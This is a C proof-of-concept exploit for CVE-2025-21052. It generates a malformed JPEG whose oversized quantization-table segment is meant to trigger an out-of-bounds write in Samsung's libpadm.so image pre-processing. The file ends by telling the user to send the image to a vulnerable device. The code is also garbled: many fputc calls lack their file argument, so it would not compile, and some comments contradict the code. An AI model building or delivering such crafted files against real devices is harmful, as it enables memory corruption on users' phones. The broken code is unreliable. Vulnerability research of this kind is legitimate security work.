// CVE-2025-21052 PoC - Crafted JPEG to trigger OOB write in libpadm.so
// This PoC creates a malformed JPEG file that triggers out-of-bounds write
// in the JPEG decoding pre-processing stage of Samsung's libpadm.so
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
// JPEG markers
#define SOI_MARKER 0xFFD8 // Start of Image
#define APP0_MARKER 0xFFE0 // JFIF marker
#define DQT_MARKER 0xFFDB // Define Quantization Table
#define SOF0_MARKER 0xFFC0 // Start of Frame (Baseline DCT)
#define DHT_MARKER 0xFFC4 // Define Huffman Table
#define SOS_MARKER 0xFFDA // Start of Scan
#define EOI_MARKER 0xFFD9 // End of Image
// Function to write a 16-bit value in big-endian format
void write_be16(FILE *fp, uint16_t val) {
uint8_t buf[2] = {(val >> 8) & 0xFF, val & 0xFF};
fwrite(buf, 1, 2, fp);
}
// Function to write a malformed DQT (Define Quantization Table) segment
// The key is to set an oversized quantization table that triggers OOB write
void write_malformed_dqt(FILE *fp) {
fputc(0xFF, fp);
fputc(0xDB, fp); // DQT marker
// Length: 2 + 1 (table ID + precision) + 64*2 (two tables of 64 values each)
// Intentionally set length to a value that causes buffer overflow in pre-processing
write_be16(fp, 2 + 1 + 64 * 4); // Oversized length to trigger OOB
fputc(0x00, fp); // Precision=0 (8-bit), Table ID=0
// Write 64 quantization values for table 0
for (int i = 0; i < 64; i++) {
fputc(0x10, fp);
}
// Write additional data to overflow the buffer
for (int i = 0; i < 64 * 3; i++) {
fputc(0x41, fp);
}
}
// Function to write a minimal SOF0 (Start of Frame) segment
void write_sof0(FILE *fp, uint16_t width, uint16_t height) {
fputc(0xFF, fp);
fputc(0xC0, fp); // SOF0 marker
write_be16(fp, 11); // Length
fputc(8, fp); // Precision (8 bits)
write_be16(fp, height);
write_be16(fp, width);
fputc(3, fp); // Number of components (YCbCr)
// Component 1 (Y)
fputc(1);
fputc(0x11); // Sampling factors
fputc(0); // Quantization table ID
// Component 2 (Cb)
fputc(2);
fputc(0x11);
fputc(0);
// Component 3 (Cr)
fputc(3);
fputc(0x11);
fputc(0);
}
int main() {
const char *filename = "poc_cve_2025_21052.jpg";
FILE *fp = fopen(filename, "wb");
if (!fp) {
perror("Failed to create file");
return 1;
}
// Write SOI (Start of Image)
write_be16(fp, SOI_MARKER);
// Write APP0 (JFIF header) - minimal
fputc(0xFF, fp);
fputc(0xE0, fp);
write_be16(fp, 16); // Length
fwrite("JFIF\0", 1, 5, fp);
fputc(1); // Version major
fputc(1); // Version minor
fputc(0); // Units
write_be16(fp, 1); // X density
write_be16(fp, 1); // Y density
fputc(0); // X thumbnail
fputc(0); // Y thumbnail
// Write malformed DQT to trigger OOB write in pre-processing
write_malformed_dqt(fp);
// Write SOF0 with specific dimensions
write_sof0(fp, 64, 64);
// Write SOS (Start of Scan) - minimal
fputc(0xFF, fp);
fputc(0xDA, fp);
write_be16(fp, 12); // Length
fputc(3); // Number of components
fputc(1); fputc(0x00); // Component 1, DC/AC table
fputc(2); fputc(0x00); // Component 2
fputc(3); fputc(0x00); // Component 3
fputc(0); fputc(63); fputc(0); // Spectral selection
// Write minimal scan data
for (int i = 0; i < 100; i++) {
fputc(0x00, fp);
}
// Write EOI (End of Image)
write_be16(fp, EOI_MARKER);
fclose(fp);
printf("PoC file '%s' generated successfully.\n", filename);
printf("Send this file to a vulnerable Samsung device's image processing service\n");
printf("to trigger the out-of-bounds write in libpadm.so JPEG pre-processing.\n");
return 0;
}